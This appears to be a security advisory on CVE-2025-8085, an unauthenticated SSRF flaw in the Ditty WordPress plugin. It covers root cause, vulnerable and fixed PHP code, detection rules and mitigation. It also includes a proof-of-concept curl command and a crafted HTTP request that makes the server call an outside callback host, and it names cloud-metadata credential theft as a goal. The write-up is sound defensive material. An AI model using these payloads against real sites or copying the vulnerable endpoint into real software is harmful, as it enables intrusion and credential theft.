CVE-2025-8085: Unauthenticated SSRF in Ditty WordPress Plugin

08 September 2025

CVE-2025-8085: Unauthenticated SSRF Vulnerability in the Ditty WordPress Plugin

Introduction

The WordPress ecosystem, supported by a vast community and thousands of plugins, is the most popular content management system in the world. However, this wide ecosystem also brings significant security risks. A single vulnerability in a plugin can affect not just one site but thousands simultaneously.

One of the most critical vulnerabilities in 2025 was discovered in the Ditty plugin: CVE-2025-8085. This issue is an unauthenticated Server-Side Request Forgery (SSRF) vulnerability.

In this article, we will analyze the technical details of CVE-2025-8085, explain how it works, possible attack scenarios, the root cause in code, detection methods, and mitigation strategies.

Technical Details

Affected Versions

Ditty plugin: 3.1.57 and earlier
Patched version: 3.1.58 and later

Vulnerable Endpoint

The issue exists in the following REST API endpoint:

/wp-json/dittyeditor/v1/displayItems

Root Cause

The endpoint directly processes the source_url parameter provided by the user and passes it to wp_remote_get() without proper validation.

Two main issues:

Lack of authentication → The endpoint is accessible to anyone.
Lack of input validation → No allowlist or filtering is applied to the provided URL.

As a result, attackers can force the WordPress server to send requests to arbitrary external or internal hosts.

Attack Flow

The attacker sends a crafted request to the vulnerable endpoint.
The WordPress server connects to the attacker-specified URL.
The request is sent either to an external target or internal/private systems.
The response is returned to the attacker.

This enables the attacker to indirectly access resources that would normally be unreachable.

Potential Attack Scenarios

Internal Network Reconnaissance
- Attacker scans 192.168.x.x, 10.x.x.x, etc. for live services.
Access to Cloud Metadata Services
- On AWS, Azure, or GCP, attackers can target 169.254.169.254 to retrieve IAM credentials or configuration data.
Using the Server as a Proxy
- Attackers bypass IP restrictions by tunneling traffic through the WordPress server.
Chained Exploits
- SSRF may expose sensitive data used in further exploits, leading to RCE or data breaches.

Vulnerable Code Example

// REST API endpoint definition
register_rest_route( 
  'dittyeditor/v1', 
  '/displayItems', 
  array(
    'methods'  => 'GET',
    'callback' => 'ditty_display_items'
  )
);

function ditty_display_items( $request ) {
    $url = $request->get_param('source_url'); 
    
    // 🚨 VULNERABLE: Parameter is used without validation
    $response = wp_remote_get( $url );

    return wp_remote_retrieve_body( $response );
}

Issues:

No permission_callback → unauthenticated access.
No filtering or sanitization of source_url.
wp_remote_get() blindly fetches the attacker-supplied URL.

Secure Code Example

register_rest_route( 
  'dittyeditor/v1', 
  '/displayItems', 
  array(
    'methods'             => 'GET',
    'callback'            => 'ditty_display_items',
    'permission_callback' => function() {
        return current_user_can('manage_options');
    }
  )
);

function ditty_display_items( $request ) {
    $url = $request->get_param('source_url'); 
    
    // ✅ URL validation with allowlist
    $allowed_hosts = array('example.com', 'trusted-api.org');
    $host = parse_url($url, PHP_URL_HOST);

    if ( ! in_array($host, $allowed_hosts, true) ) {
        return new WP_Error('forbidden', 'Invalid target', array('status' => 403));
    }

    $response = wp_remote_get( esc_url_raw( $url ) );
    return wp_remote_retrieve_body( $response );
}

Fixes:

Added permission_callback to enforce authentication.
Used esc_url_raw() to sanitize input.
Implemented an allowlist for safe domains.

Proof of Concept (PoC)

⚠️ Disclaimer: This PoC should only be used in authorized test environments. Running it on production or third-party systems is strictly prohibited.

curl -i -s -k -X GET   "https://target-site.com/wp-json/dittyeditor/v1/displayItems?source_url=https://example.com/test"

If vulnerable, the WordPress server will issue an HTTP request to example.com/test and return the response.

POST /wordpress/index.php/wp-json/dittyeditor/v1/displayItems HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1/wordpress/wp-admin/plugins.php
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 436
Origin: http://127.0.0.1
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{
  "apiData": {
    "layouts": [
      {
        "id": "ssrf_layout",
        "html": "{image default_src=\"https://webhoo12312312k.site/3aa51640-4d0f-4fa0-a724-0eeb3d5bbd49\"}",
        "css": ""
      }
    ],
    "items": [
      {
        "item_id": "1",
        "item_type": "default",
        "item_value": { "content": "SSRF demo" },
        "layout_value": { "default": "ssrf_layout" }
      }
    ]
  }
}

Detection and Monitoring

🔎 Web Server Logs

Look for calls to wp-json/dittyeditor/v1/displayItems.
Investigate suspicious source_url values targeting private IP ranges.

🔎 Outbound Traffic Analysis

Monitor unexpected traffic from the server to external or internal IPs.

🔎 IDS/IPS Rules

Flag requests targeting 127.0.0.1, 169.254.*, 10.*, 192.168.*.

Mitigation

✅ Permanent Fix

Update the Ditty plugin to 3.1.58 or later.

✅ Temporary Workarounds

Block the vulnerable endpoint (displayItems) at WAF or reverse proxy.
Restrict outbound connections using a “default deny” firewall policy.
Regularly review logs for suspicious requests.

✅ Long-Term Recommendations

Always enforce authentication on REST API endpoints.
Validate user input using allowlist approaches.
Conduct regular code reviews to prevent SSRF and similar vulnerabilities.

Conclusion

CVE-2025-8085 demonstrates how a small oversight—lack of input validation and missing authentication—can lead to a critical vulnerability. By exploiting SSRF, attackers may access both external services and sensitive internal resources.

Organizations should:

Immediately update to the patched version,
Apply WAF/firewall controls,
Review historical logs for exploitation attempts.

This vulnerability is a reminder that SSRF can be a gateway to more severe attacks, including full system compromise.

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